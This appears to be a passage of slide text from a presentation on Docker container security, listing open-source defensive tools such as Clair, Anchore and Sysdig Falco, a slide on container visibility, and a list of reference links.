  • 27. Open Source Tools for Docker Security • Docker Bench for Security • Clair • Cilium • Anchore • OpenSCAP Workbench • Dagda • Notary • Grafaes • Sysdig Falco • Banyanops Collector https://techbeacon.com/security/10-top-open-source-tools-docker-security
  • 28.
  • 29. Container Visibility is So Damn Important https://blog.gigamon.com/2019/09/19/if-you-dont-have-container-visibility-your-organization-is-at-risk/
  • 32. • https://www.stackrox.com/post/2020/03/6-container-adoption-trends-of-2020/ • https://www.docker.com/blog/containers-replacing-virtual-machines/ • https://blog.aquasec.com/cve-2016-9962-run-container-run • https://medium.com/@mccode/processes-in-containers-should-not-run-as- root-2feae3f0df3b • https://containerjournal.com/topics/container-security/why-running-a-privileged- container-is-not-a-good-idea/ • https://docs.docker.com/engine/api/ • https://docs.docker.com/engine/api/v1.40/#operation/ContainerCreate • https://www.trendmicro.com/vinfo/tw/security/news/virtualization-and-cloud/ malicious-docker-hub-container-images-cryptocurrency-mining • https://docs.docker.com/config/containers/resource_constraints/ • https://techbeacon.com/security/10-top-open-source-tools-docker-security